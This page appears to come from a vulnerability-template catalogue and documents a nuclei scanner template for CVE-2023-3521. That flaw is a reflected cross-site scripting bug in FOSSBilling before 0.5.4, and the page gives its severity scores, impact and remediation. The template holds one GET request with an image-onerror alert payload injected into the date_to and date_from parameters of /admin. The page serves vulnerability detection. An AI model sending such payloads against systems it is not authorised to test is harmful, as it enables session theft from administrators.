SecurityContext

CVE-2023-3521: FOSSBilling < 0.5.3 - Cross-Site Scripting

  • Template: CVE-2023-3521
  • Name: FOSSBilling < 0.5.3 - Cross-Site Scripting
  • Description: Cross-site Scripting (XSS) - Reflected in GitHub repository fossbilling/fossbilling prior to 0.5.4.
  • Impact: Unauthenticated attackers can inject malicious JavaScript through date_to and date_from parameters to steal FOSSBilling administrator session cookies and access sensitive billing and customer data.
  • Remediation: Update FOSSBilling to version 0.5.4 or later that properly sanitizes date parameters in the admin interface and encodes output to prevent reflected XSS attacks.
  • Severity: medium
  • Authors: ctflearner
  • Tags: cve2023, cve, fossbilling, xss, vuln
  • References: https://huntr.com/bounties/76a3441d-7f75-4a8d-a7a0-95a7f5456eb0, https://nvd.nist.gov/vuln/detail/CVE-2023-3521
  • Cves: CVE-2023-3521
  • Verified: yes
  • Max requests: 1
  • Directory: http/cves
  • Path: http/cves/2023/CVE-2023-3521.yaml
  • Digest: 4a0a004730450221009ee517143444dcb2a2eedd8e28548fc8779a66a9b6ae0942f338afa990260438022053d641c4a86cc9be26543d9e15a6bfb5afea688e3ec3adb4c4e71b0ece905768
  • Created at: 2024-08-17T02:28:33Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 829
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-3521.yaml
  • Checked, none or zero: products

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.00919
  • Epss percentile: 0.61162
  • Not known: cpe

Metadata

  • Fofa-query: title="FOSSBilling"
  • Max-request: 1
  • Product: fossbilling
  • Verified: yes

Labels

  • Name: fossbilling FossBilling - Reflected XSS
  • Impact: Attackers can execute malicious scripts in victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
  • Remediation: Update to version 0.5.4 or later to fix input sanitization issues.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Victim needs to click on a malicious link
  • Labels source: projectdiscovery
  • From cve: CVE-2023-3521

```yaml

id: CVE-2023-3521

info:

name: FOSSBilling < 0.5.3 - Cross-Site Scripting

author: ctflearner

severity: medium

description: |

Cross-site Scripting (XSS) - Reflected in GitHub repository fossbilling/fossbilling prior to 0.5.4.

impact: |

Unauthenticated attackers can inject malicious JavaScript through date_to and date_from parameters to steal FOSSBilling administrator session cookies and access sensitive billing and customer data.

remediation: |

Update FOSSBilling to version 0.5.4 or later that properly sanitizes date parameters in the admin interface and encodes output to prevent reflected XSS attacks.

reference:

- https://huntr.com/bounties/76a3441d-7f75-4a8d-a7a0-95a7f5456eb0

- https://nvd.nist.gov/vuln/detail/CVE-2023-3521

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2023-3521

cwe-id: CWE-79

epss-score: 0.00919

epss-percentile: 0.61162

metadata:

verified: true

max-request: 1

fofa-query: title="FOSSBilling"

product: fossbilling

tags: cve2023,cve,fossbilling,xss,vuln

http:

- raw:

- |

GET /admin?_url=%2Fadmin&date_to='"><img+src=x+onerror=alert(3)>&date_from='"><img+src=x+onerror=alert(3)> HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: word

part: body

words:

- "<img src=x onerror=alert(3)>"

- "FOSSBilling"

condition: and

- type: word

part: header

words:

- "text/html"

- type: status

status:

- 200

digest: 4a0a004730450221009ee517143444dcb2a2eedd8e28548fc8779a66a9b6ae0942f338afa990260438022053d641c4a86cc9be26543d9e15a6bfb5afea688e3ec3adb4c4e71b0ece905768:922c64590222798bb761d5b6d8e72950

```